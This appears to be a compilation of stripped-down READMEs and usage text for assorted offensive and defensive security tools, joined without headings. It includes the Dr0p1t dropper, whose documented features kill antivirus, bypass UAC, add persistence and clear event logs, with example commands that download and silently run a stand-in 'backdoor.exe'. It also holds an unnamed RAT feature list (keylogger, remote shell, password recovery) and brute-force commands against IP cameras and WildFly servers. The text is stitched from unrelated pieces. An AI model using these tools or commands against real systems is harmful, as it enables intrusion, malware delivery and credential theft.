• Search
• Brute force
• SSID and WPAPSK Password Disclosure
• E-mail, FTP, DNS, MSN Password Disclosure
• Exploit

$ cd /opt/
$ git clone https://github.com/fbctf/shodanwave.git
$ cd shodanwave
$ pip install -r requirements.txt

Usage: python shodanwave.py -u usernames.txt -w passwords.txt  -k Shodan API key --t OUTPUT
       python shodanwave.py --help 
         __              __                                   
   _____/ /_  ____  ____/ /___ _____ _      ______ __   _____ 
  / ___/ __ \/ __ \/ __  / __ `/ __ \ | /| / / __ `/ | / / _ \
 (__  ) / / / /_/ / /_/ / /_/ / / / / |/ |/ / /_/ /| |/ /  __/
/____/_/ /_/\____/\__,_/\__,_/_/ /_/|__/|__/\__,_/ |___/\___/ 


This tool is successfully connected to shodan service
Information the use of this tool is illegal, not bad.

usage: shodanwave.py [-h] [-s SEARCH] [-u USERNAME] [-w PASSWORD] [-k ADDRESS]

optional arguments:
  -h, --help            show this help message and exit
  -s SEARCH, --search SEARCH
                        Default Netwave IP Camera
  -u USERNAME, --username USERNAME
                        Select your usernames wordlist
  -w PASSWORD, --wordlist PASSWORD
                        Select your passwords wordlist
  -k ADDRESS, --shodan ADDRESS
                        Shodan API key
  -l LIMIT, --limit LIMIT
                        Limit the number of registers responsed by Shodan
  -o OFFSET, --offset OFFSET
                        Shodan skips this number of registers from response
  -t OUTPUT, --output OUTPUT
                        Save the results

• Shodan API search engine for Internet-connected devices.
• Requests Requests: HTTP for Humans
• Netwave ExploitNetwave IP Camera - Password Disclosure

python cmssc4n.py -h 
 _____ __  __  _____          _  _       
  / ____|  \/  |/ ____|        | || |      
 | |    | \  / | (___  ___  ___| || |_ _ __  
 | |    | |\/| |\___ \/ __|/ __|__   _| '_ \ 
 | |____| |  | |____) \__ \ (__   | | | | | |
  \_____|_|  |_|_____/|___/\___|  |_| |_| |_|

** Tool to scan if a domain is a CMS (Wordpress , Drupal, Joomla, Prestashop or Moodle) and return the version
    ** Author: Ignacio Brihuega Rodriguez a.k.a N4xh4ck5
    ** Version 1.0
    ** DISCLAMER This tool was developed for educational goals. 
    ** The author is not responsible for using to others goals.
    ** A high power, carries a high responsibility!
usage: cmssc4n.py [-h] -e EXPORT -i INPUT

This tool verifies if the domain is a CMS (Wordpress , Drupal, Joomla, Prestashop or Moodle) and returns the version

optional arguments:
  -h, --help            show this help message and exit
  -e EXPORT, --export EXPORT
                        Indicate the type of format to export results.
                         1.json (by default)
                         2.xlsx
  -i INPUT, --input INPUT
                        File in json format which contains the domains want to know if they are a CMS

• The executable size is smaller compared to other droppers generated the same way.
• Download executable on target system and execute it silently..
• Self destruct function so that the dropper will kill and delete itself after finishing it work
• Escape disk forensics by making all the files dropper create and dropper also cleans its content before deletion
• Clear event log after finishing.

• Works with Windows, Linux and now have OSX support ( Thanks to @sm4sh3r )
• Dr0p1t-Server feature (beta) so now you can work from browser See how to work with Dr0p1t-Server
• Dr0p1t-Server have a scam option (beta) See how to work with Dr0p1t-Server

• Find and kill antivirus before running the malware.
• The ability to disable UAC.
• The ability to run your malware as admin.
• Full spoof by spoofing the file icon and extension to any thing you want.
• ZIP files support so now you can compress your executable to zip file before uploading.
• Running a custom ( batch|powershell|vbs ) file you have chosen before running the executable
• In running powershell scripts it can bypass execution policy
• Using UPX to compress the dropper after creating it

• Adding executable after downloading it to startup.
• Adding executable after downloading it to task scheduler ( UAC not matters ).
• Adding your file to powershell user profile so your file will be downloaded and ran every time powershell.exe run if it doesn't exist.

Usage: Dr0p1t.py Malware_Url [Options]

options:
-h, --help      show this help message and exit
-s              Add your malware to startup (Persistence)
-t              Add your malware to task scheduler (Persistence)
-a              Add your link to powershell user profile (Persistence)
-k              Kill antivirus process before running your malware.
-b              Run this batch script before running your malware. Check scripts folder
-p              Run this powershell script before running your malware. Check scripts folder
-v              Run this vbs script before running your malware. Check scripts folder
--runas         Bypass UAC and run your malware as admin
--spoof         Spoof the final file to an extension you choose.
--zip           Tell Dr0p1t that the malware in the link is compressed as zip
--upx           Use UPX to compress the final file.
--nouac         Try to disable UAC on victim device
-i              Use icon to the final file. Check icons folder.
--noclearevent  Tell the framework to not clear the event logs on target machine after finish.
--nocompile     Tell the framework to not compile the final file.
--only32        Download your malware for 32 bit devices only
--only64        Download your malware for 64 bit devices only
-q              Stay quite ( no banner )
-u              Check for updates
-nd             Display less output information

./Dr0p1t.py Malware_Url [Options]
./Dr0p1t.py https://test.com/backdoor.exe -s -t -a -k --runas --upx
./Dr0p1t.py https://test.com/backdoor.exe -k -b block_online_scan.bat --only32
./Dr0p1t.py https://test.com/backdoor.exe -s -t -k -p Enable_PSRemoting.ps1 --runas
./Dr0p1t.py https://test.com/backdoor.zip -t -k --nouac -i flash.ico --spoof pdf --zip

• Python 2 or Python 3.

The recommended version for Python 2 is 2.7.x , the recommended version for Python 3 is 3.5.x and don't use 3.6 because it's not supported yet by PyInstaller

• apt
• Others will be installed from install.sh file

Note : You must have root access

• pip
• Modules in windows_requirements.txt

There's a list here for all official videos for installing and using Dr0p1t Playlist

• On Linux

git clone https://github.com/D4Vinci/Dr0p1t-Framework.git
chmod 777 -R Dr0p1t-Framework
cd Dr0p1t-Framework
sudo chmod +x install.sh
./install.sh
python Dr0p1t.py

• On Windows (After downloading ZIP and upzip it)

cd Dr0p1t-Framework-master
python -m pip install -r windows_requirements.txt
python Dr0p1t.py

Note : in python 2.7 you don't have pip so install it first from get-pip.py script [Google it]

• Kali Linux Rolling
• Ubuntu 14.04-16.04 LTS
• Windows 10/8.1/8

Note : Server is still in beta version and it have a lot of features to add and also a better design [ Need a designer to contribute :D ]

• Stable internet connection.
• Port 5000 not used and firewall configured to not block connection from it

python -m pip install -r server_requirements.txt

python Dr0p1t_Server.py

git clone https://github.com/aboul3la/Sublist3r.git

• The recommended version for Python 2 is 2.7.x
• The recommened version for Python 3 is 3.4.x

• Installation on Windows:

c:\python27\python.exe -m pip install -r requirements.txt

• Installation on Linux

sudo pip install -r requirements.txt

• Install for Windows:

c:\python27\python.exe -m pip install requests

• Install for Ubuntu/Debian:

sudo apt-get install python-requests

• Install for Centos/Redhat:

sudo yum install python-requests

• Install using pip on Linux:

sudo pip install requests

• Install for Windows:

c:\python27\python.exe -m pip install dnspython

• Install for Ubuntu/Debian:

sudo apt-get install python-dnspython

• Install using pip:

sudo pip install dnspython

• Install for Ubuntu/Debian:

sudo apt-get install python-argparse

• Install for Centos/Redhat:

sudo yum install python-argparse

• Install using pip:

sudo pip install argparse

c:\python27\python.exe -m pip install win_unicode_console colorama

• To list all the basic options and switches use -h switch:

• To enumerate subdomains of specific domain:

• To enumerate subdomains of specific domain and show only subdomains which have open ports 80 and 443 :

• To enumerate subdomains of specific domain and show the results in realtime:

• To enumerate subdomains and enable the bruteforce module:

• To enumerate subdomains and use specific engines such Google, Yahoo and Virustotal engines

import sublist3r 
subdomains = sublist3r.main(domain, no_threads, savefile, ports, silent, verbose, enable_bruteforce, engines)

• domain: The domain you want to enumerate subdomains of.
• savefile: save the output into text file.
• ports: specify a comma-sperated list of the tcp ports to scan.
• silent: set sublist3r to work in silent mode during the execution (helpful when you don't need a lot of noise).
• verbose: display the found subdomains in real time.
• enable_bruteforce: enable the bruteforce module.
• engines: (Optional) to choose specific engines.

import sublist3r 
subdomains = sublist3r.main('yahoo.com', 40, 'yahoo_subdomains.txt', ports= None, silent=False, verbose= False, enable_bruteforce= False, engines=None)

• TheRook - The bruteforce module was based on his script subbrute.
• Bitquark - The Subbrute's wordlist was based on his research dnspop.

• TechSpy - Crawls LinkedIn job listings for technlogoies used by the provided company. InSpy attempts to identify technologies by matching job descriptions to keywords from a new line delimited file.
  
• EmpSpy - Crawls LinkedIn for employees working at the provided company. InSpy searches for employees by title and/or departments from a new line delimited file. InSpy may also create emails for the identified employees if the user specifies an email format.

pip install -r requirements.txt

InSpy - A LinkedIn enumeration tool by Jonathan Broche (@jonathanbroche)

positional arguments:
  company               Company name to use for tasks.

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit

Technology Search:
  --techspy [file]      Crawl LinkedIn job listings for technologies used by
                        the company. Technologies imported from a new line
                        delimited file. [Default: tech-list-small.txt]
  --limit int           Limit the number of job listings to crawl. [Default:
                        50]

Employee Harvesting:
  --empspy [file]       Discover employees by title and/or department. Titles
                        and departments are imported from a new line delimited
                        file. [Default: title-list-small.txt]
  --emailformat string  Create email addresses for discovered employees using
                        a known format. [Accepted Formats: first.last@xyz.com,
                        last.first@xyz.com, first_last@xyz.com, last_first@xyz.com, 
                        firstl@xyz.com, lfirst@xyz.com,
                        flast@xyz.com, lastf@xyz.com, first@xyz.com,
                        last@xyz.com]

Output Options:
  --html file           Print results in HTML file.
  --csv file            Print results in CSV format.
  --json file           Print results in JSON.

• Cloudflare Resolver[Cloudbuster]
• LFI->RCE and XSS Scanning[LFI->RCE & XSS]
• SQL Injection Vuln Scanner[SQLi]
• Extremely Large D0rk Target Lists
• AdminPage Finding
• Toxin [Vulnerable FTPs Scanner] [To Be Released Soon]
• DNS BruteForcer
• Python 3.6 Asyncio based scanning

• Brand new, just outta the box!
• Most efficient cloudflareresolver around with easy to use interface.
• Extremely quick "Toxin" Vulnerable IP scanner to scan potentially millions of ips for known vulnerable services.
• Largest and most powerful d0rker online, 14k+d0rks searched over ~ Engines at once.
• Free and Open /src/
• CrossPlatform Python based toolkit
• Release 422 Released on 10th November 2017
• Licensed under GPLv3
• Tested on: ArchLinux 4.9.61, Ubuntu, Debian, Kali, Windows, MacOS, BlackArch, Manjaro/ArchLinux ARM Ed. Android-Termux

$ git clone https://github.com/v3n0m-Scanner/V3n0M-Scanner.git

$ cd V3n0M-Scanner/

$ python3 setup.py install --user

-SageHack for allowing Cloudbuster to be adapted for use within V3n0M
-D35m0nd142 for allowing Collaboration and the use of LFI Suite within V3n0M
-b4ltazar & all members of darkc0de.com for inspiring the project with darkd0rk3r

• Google: generates a random search string, searches Google and clicks on a random result.
• Alexa: visits a website from the Alexa Top 1 Million list. (warning: contains a lot of porn websites)
• Twitter: generates a popular English name and visits their profile; performs random keyword searches
• DNS: produces random DNS queries from the Alexa Top 1 Million list.
• Spotify: random searches for Spotify artists

• WhatsApp
• Facebook Messenger

1. cd /opt
2. git clone https://github.com/eth0izzle/needl.git
3. pip3 install -r requirements.txt
4. Download ChromeDriver for your platform (requires Chrome) and place in ./data.
5. python3 needl.py

usage: needl.py [-h] [--datadir DATADIR] [-d] [-v] [--logfile LOGFILE]
                [--pidfile PIDFILE]

Take back your privacy. Lose yourself in the haystack.

optional arguments:
  -h, --help         show this help message and exit
  --datadir DATADIR  Data directory
  -d, --daemon       Run as a deamon
  -v, --verbose      Increase logging
  --logfile LOGFILE  Log to this file. Default is stdout.
  --pidfile PIDFILE  Save process PID to this file. Default is /tmp/needl.pid.
                     Only valid when running as a daemon.

1. Why not just use a VPN/Tor? And you should! Needl does not protect your legitimate traffic in any way. It simply generates more.
   
2. By using Needl will my legitimate traffic be hidden/protected/safe? No. This isn't the goal of Needl. It's purpose is to generate more traffic to make it harder to identify your legitimate traffic. There's no evidence to suggest this actually works - it's a proof of concept.
   
3. Can [insert service here] differentiate between Needl and my legitimate requests? In theory, yes. [insert service here] can track you with Cookies, Session data or algorithms. Needl will tackle this in the future.
   
4. Where are your tests?!? Submit a pull request. Please.

• analysis: Contains analysis results (Ex: IDA idbs etc) of boot images of different devices.
• tools: Contains tools that can be used to work with various images.

• angr (http://angr.io/)

$ pip install angr

• IDA PRO (https://www.hex-rays.com/products/ida/)
• IDA Decompiler (https://www.hex-rays.com/products/decompiler/)

cd docker
# build the docker image
docker build -t bootstomp .
# run the docker image (if you need, use proper options to have persistent changes or shared files)
docker run -it bootstomp

# now you are inside a docker container
cd BootStomp
# run BootStomp's taint analysis on one of the examples
# this will take about 30 minutes
python taint_analysis/bootloadertaint.py config/config.huawei
# the last line of the output will be something like:
# INFO    | 2017-10-14 01:54:10,617 | _CoreTaint | Results in /tmp/BootloaderTaint_fastboot.img_.out

# you can then "pretty print" the results using:
python taint_analysis/result_pretty_print.py /tmp/BootloaderTaint_fastboot.img_.out

...
17)
===================== Start Info path =====================
Dereference address at: 0x5319cL
Reason: at location 0x5319cL a tainted variable is dereferenced and used as address.
...
Tainted Path 
----------------
0x52f3cL -> 0x52f78L -> 0x52f8cL -> 0x52fb8L -> 0x52fc8L -> 0x52fecL -> 0x53000L -> 0x53014L -> 0x5301cL -> 0x53030L -> 0x53044L -> 0x53050L -> 0x5305cL -> 0x53068L
===================== End Info path =====================
# Total sinks related alerts: 5
# Total loop related alerts: 8
# Total dereference related alerts: 4

1. Load the boot-loader binary in IDA (we used v6.95). Depending on the CPU architecture of the phone it has been extracted from, 32 bit or 64 bit IDA is needed.
2. From the menu-bar, run File => Script file => find_taint.py
3. Output will appear in the file taint_source_sink.txt under the same directory as the boot-loader itself.

• bootloader: boot-loader file path
• info_path: boot-loader source/sink info file path (i.e., taint_source_sink.txt )
• arch: architecture's number of bits (available options are 32 and 64)
• enable_thumb: consider thumb mode (when needed) during the analysis
• start_with_thumb: starts the analysis with thumb mode enabled
• exit_on_dec_error: stop the analysis if some instructions cannot be decoded
• unlock_addr: unlocking function address. This field is necessary only for finding insecure state storage vulnerabilities.

python bootloadertaint.py config-file-path

python unlock_checker.py config-file-path

python result_pretty_print.py results_file

• Kernel and lk source for MediaTek MT65x2
• MediaTek details: Partitions and Preloader
• Reverse Engineering Android's Aboot
• (L)ittle (K)ernel based Android bootloader
• Little Kernel Boot Loader Overview by Qualcomm
• android: arm: bootloader: how (L)ittle (K)ernel loads boot.img
• BootUnlocker for Nexus Devices
• Verifying Boot
• Freeing my tablet (Android hacking, SW and HW)
• How to lock the samsung download mode using an undocumented feature of aboot
• BIOS and Secure Boot Attacks Uncovered
• Apple IOS Security
• Debugging HTC phone boot-laoders
• Debugger for HBOOT
• Analysing HBOOT

usage: n4xd0rk.py [-h] [-d DOMAIN] [-i IP] -o OPTION -n SEARCH [-e EXPORT]
                  [-l LANGUAGE]

This script searchs the subdomains about a domain using the results indexed of Bing search.

optional arguments:
  -h, --help            show this help message and exit
  -d DOMAIN, --domain DOMAIN
                        The domain which wants to search.
  -i IP, --ip IP        The IP which to kown the domains to contain.
  -o OPTION, --option OPTION
                        Select an option:
                         1. Searching the subdomains about a domain using the results indexed.
                         2. Searching the domains belong to an IP.
  -n SEARCH, --search SEARCH
                        Indicate the number of the search which you want to do.
  -e EXPORT, --export EXPORT
                        Export the results to a json file (Y/N)
                         Format available:
                         1.json
                         2.xlsx
  -l LANGUAGE, --language LANGUAGE
                        Indicate the language of the search
                         (es)-Spanish(default)
                         (en)-English

• Cross-platform
• Minimalism
• Simplicity
• Interactivity
• Compatibility/Portability
• Application Independable
• Process Wrapping
• Process Injection

• Unix - should work on any Unix-based OS
  • BASH - the whole script
  • root privileges (optional)

• AES and RSA keys only
• Fails most of the time for Firefox browser
• Won't work for disk encryption (LUKS) and PGP/GPG
• Needs proper user privileges and memory authorizations

sudo apt install gdb aeskeyfind rsakeyfind || echo 'have you heard about source compiling?'

openssl aes-128-ecb -nosalt -out testAES.enc

CryKeX.sh openssl

openssl genrsa -des3 -out testRSA.pem 2048

CryKeX.sh openssl

openssl rsa -noout -text -in testRSA.pem

echo 'Ciphers aes256-gcm@openssh.com' >> /etc/ssh/sshd_config
ssh user@server
CryKeX.sh ssh

echo 'cipher AES-256-CBC' >> /etc/openvpn/server.conf
openvpn yourConf.ovpn
sudo CryKeX.sh openvpn

sudo CryKeX.sh veracrypt

CryKeX.sh chromium
CryKeX.sh google-chrome

CryKeX.sh tor

apt install libssl-dev
gcc -lcrypto cipher.c -o cipher
CryKeX.sh cipher
 wrap
 cipher

• View full process list
• Inspect process memory map & fetch memory strings easly
• Dump process memory in one click
• Automaticly search hash in public services
  • VirusTotal
  • AlienVault OTX

• users list

• Search for suspicious files by name/regex

• Whois

• syslog
• auth.log(user authentication log)
• ufw.log(firewall log)
• bash history

• chkrootkit

• Scan a file or directory using YARA signatures by @Neo23x0
• Scan a running process memory address space
• Upload your own YARA signature

• Python 2.7
• YARA
• chkrootkit

1. Clone repository

git clone https://github.com/intezer/linux_expl0rer

2. Install required packages

pip install -r requirements.txt

3. Setup VT/OTX api keys

nano config.py

VT_APIKEY = '<key>'
OTX_APIKEY = '<key>'

4. Install YARA

sudo apt-get install yara

5. Install chkrootkit

sudo apt-get install chkrootkit

sudo python linux_explorer.py

1. Start your browser

firefox http://127.0.0.1:8080

2. do stuff

• We recommend using NGINX reverse proxy with basic http auth& ssl for secure remote access
• Tested with Ubuntu 16.04

shellcode = ''

git clone https://github.com/blacknbunny/ShellcodeToAssembly.git && cd ShellcodeToAssembly/ && pip install -r requirements.txt && python2 shellcodetoasm.py

pip install -r requirements.txt

pip2 install -r requirements.txt

python2 shellcodetoasm.py [returnbit] [architecture]

python2 shellcodetoasm.py 32 x86

• ARM
• ARM64
• MIPS
• ppc
• X86

• 64
• 32

• TCP network stream (IPv4 & IPv6 support)
• Fast network serialization (NetSerializer)
• Compressed (QuickLZ) & Encrypted (AES-128) communication
• Multi-Threaded
• UPnP Support
• No-Ip.com Support
• Visit Website (hidden & visible)
• Show Messagebox
• Task Manager
• File Manager
• Startup Manager
• Remote Desktop
• Remote Webcam
• Remote Shell
• Download & Execute
• Upload & Execute
• System Information
• Computer Commands (Restart, Shutdown, Standby)
• Keylogger (Unicode Support)
• Reverse Proxy (SOCKS5)
• Password Recovery (Common Browsers and FTP Clients)
• Registry Editor

• .NET Framework 4.0 Client Profile (Download)
• Supported Operating Systems (32- and 64-bit)
  • Windows XP SP3
  • Windows Server 2003
  • Windows Vista
  • Windows Server 2008
  • Windows 7
  • Windows Server 2012
  • Windows 8/8.1
  • Windows 10

• Minimum OS: Ubuntu 14.04 LTS (Desktop or Server)
  • We are actively testing against other Linux distributions. If you have requests for specific distros, please let us know (or create a pull request with the necessary changes).
• gdb (>=7.7.1)

curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg
sudo mv microsoft.gpg /etc/apt/trusted.gpg.d/microsoft.gpg

sudo sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-ubuntu-xenial-prod xenial main" > etc/apt/sources.list.d/microsoft.list'

sudo sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-ubuntu-trusty-prod trusty main" > /etc/apt/sources.list.d/microsoft.list'

sudo apt-get update
sudo apt-get install procdump

Pre-Depends: dpkg(>=1.17.5)

wget https://packages.microsoft.com/repos/microsoft-ubuntu-xenial-prod/pool/main/p/procdump/procdump_1.0_amd64.deb

wget https://packages.microsoft.com/repos/microsoft-ubuntu-trusty-prod/pool/main/p/procdump/procdump_1.0_amd64.deb

sudo dpkg -i procdump_1.0_amd64.deb
sudo apt-get -f install

sudo apt-get purge procdump

Usage: procdump [OPTIONS...] TARGET
   OPTIONS
      -C          CPU threshold at which to create a dump of the process from 0 to 200
      -c          CPU threshold below which to create a dump of the process from 0 to 200
      -M          Memory commit threshold in MB at which to create a dump
      -m          Trigger when memory commit drops below specified MB value.
      -n          Number of dumps to write before exiting
      -s          Consecutive seconds before dump is written (default is 10)
   TARGET must be exactly one of these:
      -p          pid of the process

The following examples all target a process with pid == 1234

sudo procdump -p 1234

sudo procdump -n 3 -p 1234

sudo procdump -n -s 5 -p 1234

sudo procdump -C 65 -n 3 -p 1234

sudo procdump -C 65 -n 3 -s 5 -p 1234

sudo procdump -c 10 -C 65 -p 1234

sudo procdump -C 65 -M 100 -p 1234

• Web developers
• Web Pentesters
• Security Professionals
• Student

• Information Disclosure
• Insecure Direct Object Reference
• Access Control
• Throttling
• SQL Injection (SQLite)
• Cross Site Scripting.

• Navigate to the source folder and locate manage.py file.
• Then execute python manage.py runserver.
• If static files are not getting load, then execute above command with insecure flag i.e. python manage.py runserver --insecure If you are facing any issue starting the web server please refer django documentation admin or django documentation tutorial. Please ping me if you are still not able to run development server.

python wildPwn.py -m brute --target <TARGET> -user <USERNAME LIST> -pass <PASSWORD LIST> 

python wildPwn.py -m deploy --target <TARGET> --port <PORT> -u <USERNAME> -p <PASSWORD>

nmap --script wildfly-detect <TARGET>

nmap -p 9990 --script wildfly-brute --script-args "userdb=usernameList.txt,passdb=passList.txt,hostname=domain.com" <TARGET>

• Windows XP/7/8/10
• GNU/Linux
• MacOSX

• Multithreaded
• Keep alive connections
• Support for multiple extensions (-e|--extensions asp,php)
• Reporting (plain text, JSON)
• Heuristically detects invalid web pages
• Recursive brute forcing
• HTTP proxy support
• User agent randomization
• Batch processing
• Request delaying

• example/
• example.%EXT%

• example/
• example.asp
• example.aspx

java -jar droidefense-cli-1.0-SNAPSHOT.jar -i /path/to/your/sample.apk

java -jar droidefense-cli-1.0-SNAPSHOT.jar

________               .__    .___      _____                            
\______ \_______  ____ |__| __| _/_____/ ____\____   ____   ______ ____  
 |    |  \_  __ \/  _ \|  |/ __ |/ __ \   __\/ __ \ /    \ /  ___// __ \ 
 |    `   \  | \(  <_> )  / /_/ \  ___/|  | \  ___/|   |  \\___ \\  ___/ 
/_______  /__|   \____/|__\____ |\___  >__|  \___  >___|  /____  >\___  >
        \/                     \/    \/          \/     \/     \/     \/ 


 * Current build:    2017_12_05__12_07_01
 * Check out on Github:    https://github.com/droidefense/
 * Report your issue:    https://github.com/droidefense/engine/issues
 * Lead developer:    @zerjioang

usage: droidefense
 -d,--debug                 print debugging information
 -h,--help                  print this message
 -i,--input <apk>           input .apk to be analyzed
 -o,--output <format>       select prefered output:
                            json
                            json.min
                            html
 -p,--profile               Wait for JVM profiler
 -s,--show                  show generated report after scan
 -u,--unpacker <unpacker>   select prefered unpacker:
                            zip
                            memapktool
 -v,--verbose               be verbose
 -V,--version               show current version information

• Checkout how to compile new version at:
  • https://github.com/droidefense/engine/wiki/Compilation
• Checkout report example at:
  • https://github.com/droidefense/engine/wiki/Pornoplayer-report
• Checkout execution logs at:
  • https://github.com/droidefense/engine/wiki/Execution-logs